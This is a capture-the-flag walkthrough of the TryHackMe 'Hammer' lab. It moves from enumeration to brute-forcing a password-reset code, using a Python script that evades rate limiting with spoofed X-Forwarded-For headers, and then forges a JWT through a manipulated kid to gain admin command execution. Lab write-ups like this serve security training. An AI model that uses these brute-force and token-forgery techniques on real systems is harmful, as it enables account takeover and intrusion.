Hammer CTF machine on THM

Hammer is a roller coaster in terms of techniques used. From bypassing not one but two brute force protection mechanism to hacking JWTs you’ll have all and something extra! Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.
Information gathering
Enumeration
[!Note] Add hammer.thm domain to /etc/hosts
nmap
Command:
nmap -sC -sV -p- 10.10.84.254
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 f2:fe:28:1c:14:f7:59:e6:fe:30:02:26:26:7f:35:e7 (RSA)
| 256 ed:ec:90:cd:f4:ed:00:1d:62:60:1b:47:d9:ba:8b:fd (ECDSA)
|_ 256 a7:78:77:ef:de:fc:08:91:f2:27:bb:85:09:b4:9f:53 (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ffuf
Command:
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://hammer.thm:1337/FUZZ -s -c -v
Results:
javascript
vendor
phpmyadmin
server-status
Exploitation
Foothold
- After finishing the initial enumeration we can check the login page at
http://10.10.84.254:1337/ - Clicking on “View page source” we can see there is a comment left by developer
Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME - Lets build a new wordlist prefixing all the words with
hmr_for this task we can write a simple bash script:
#!/bin/bash
# Check if the correct number of arguments is provided
if [ "$#" -ne 1 ]; then
echo "Usage: $0 input_file"
exit 1
fi
# Input file from the command-line argument
input_file="$1"
# Define the output file (you can change the name as needed)
output_file="output.txt"
# Ensure the output file is empty before starting
> "$output_file"
# Iterate through each line of the input file
while IFS= read -r line; do
# Prefix the line with "hmr_" and append to the output file
echo "hmr_$line" >> "$output_file"
done < "$input_file"
echo "Processing complete. Check $output_file for the results."
- Run the script with initial dictionary used
./prefix_words.sh /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt - Now we can run ffuf again with the newly created dictionary
ffuf -w /home/kali/Documents/CTF/output.txt -u http://hammer.thm:1337/FUZZ -s -c -vas a result we have a new list of directories found:hmr_images hmr_css hmr_js hmr_logs - Checking the content of
hmr_logsdirectory will reveal a log file containing an username:tester@hammer.thm[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/ [Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch [Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow [Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected [Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php [Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address [Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down - Check the login
POSTrequest and get info to build a brute force attack withhydra:hydra -l tester@hammer.thm -P /usr/share/wordlists/rockyou.txt 10.10.84.254 -s 1337 http-post-form "/:email=tester@hammer.thm&password=^PASS^:Invalid Email or Password" - The brute force on login is not working so I looked over password reset mechanism:
- If you try to reset password for an invalid email address you will get an error message saying that email does not exist
- When you try to reset password for user
tester@hammer.thmyou will be prompted to enter a four digit code in a time frame - This way you can validate the email is in use and open a new attack surface
- Let’s generate a list of four digit codes using
crunch 4 4 0123456789 -o 4digits.txt - With the new list we can try to reset password for tester user and brute force the requested digit code protection in the specific timeframe
- Here we have two problems: there is a brute force mechanism in place that will block you after 5 tries on each PHPSESSID and you only have 180 sec (as per script in the page) to brute force
- After a couple of tries the brute force mechanism I found can be bypassed using
X-Forwarded-Forheader with a different value for each request - I wrote a Python script to brute force the code protection”:
import sys
import requests
import random
def generate_random_ip():
# Generate a random IP address in the range of valid public IPs
return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}"
def send_post_request(url, code):
# Adding the random X-Forwarded-For header
headers = {
'X-Forwarded-For': generate_random_ip(),
'User-Agent': 'Mozilla/5.0', # Optional, to emulate a browser request
'Cookie': 'PHPSESSID=q62hrhvdff0m1q24t3ps21n4vq',
'Cache-Control': 'max-age=0'
}
data = {
'recovery_code': code,
's':'100000'
}
# Sending the POST request with headers and data
response = requests.post(url, data=data, headers=headers)
return response
def main():
if len(sys.argv) != 2:
print("Usage: python script.py <filename>")
sys.exit(1)
filename = sys.argv[1]
url = "http://hammer.thm:1337/reset_password.php"
try:
with open(filename, 'r') as file:
for line in file:
code = line.strip()
if len(code) != 4 or not code.isdigit():
print(f"Invalid code format: {code}")
continue
# Send the request
response = send_post_request(url, code)
# Check if the response indicates a redirect (302)
if not "Invalid or expired recovery code" in response.text:
print(f"Success! The correct code is: {code}")
break
else:
print(f"Attempt with code {code} failed, status code: {response.status_code}")
except FileNotFoundError:
print(f"File {filename} not found!")
sys.exit(1)
if __name__ == "__main__":
main()
- Before You run the script you have to make a password reset request for user
tester@hammer.thmand copy the PHPSESSID and use it in the script - The problem is that the script should finish all 10000 codes in under 180 seconds and it can only do under 1200 tries
- I’ve tried to ad threads to run multiple requests in parallel, but with no luck, for some reason start throwing errors after some requests
- To solve the problem I have splitted the dictionary containing codes in 10 different dictionaries, run the script in parallel with smaller dictionaries (0000-0999, 1000-1999, etc.) and I managed to get the correct code and reset password
Data exfiltration
- With the new password I have logged into testers account and get the console flag: [FirstFlag]
- In the command interface you are allowed to send commands to backend server, but the
useris limited to runninglscommand only which will output:188ade1.key composer.json config.php dashboard.php execute_command.php hmr_css hmr_images hmr_js hmr_logs index.php logout.php reset_password.php vendor - Checking the log in mechanism we can see is using bearer token in JWT format
- Looking at the JWT header by decoding from base64 we can see is comprised of three main elements:
{"typ":"JWT","alg":"HS256","kid":"/var/www/mykey.key"} - The JWT payload contains information about logged user including role
{"iss":"http://hammer.thm","aud":"http://hammer.thm","iat":1725629343,"exp":1725632943,"data":{"user_id":1,"email":"tester@hammer.thm","role":"user"}} - At this point I’m thinking on elevating my role by changing value from
usertoadminoradministrator - For this I’ll need to change the JWT payload which will modify the last part: JWT signature
- To change the signature according to body modifications I’ll need a valid key ID
kidto sign with - After I’ve tried a couple of stuff like changing the algorithm to
Noneand removing signature leaving only the trail dot, or brute force the JWT itself I looked over the files listed before and I saw an interesting one188ade1.key - I took the file from the server and checked the content:
wget http://hammer.thm:1337/188ade1.key
cat 188ade1.key
56058354efb3daa97ebab00fabd7a7d7
- With this secret found I installed
JWT Editorextension in Burp Suite and I generated a new symmetric key - I’ve changed the
kidin JWT header to point to the file on the server/var/www/html/188ade1.keyand the role in the JWT payload toadminlike:#header { "kid": "/var/www/html/188ade1.key", "typ": "JWT", "alg": "HS256" } #payloads { "iss": "http://hammer.thm", "aud": "http://hammer.thm", "iat": 1725629343, "exp": 1725632943, "data": { "user_id": 1, "email": "tester@hammer.thm", "role": "admin" } } - Finally I used the symmetric key generated before to sign my changed JWT in JSON Web Token tab in Burp Repeater and I sent the request with command in the request body:
{"command":"cat /home/ubuntu/flag.txt"} - And I got the final flag: [SecondFlag]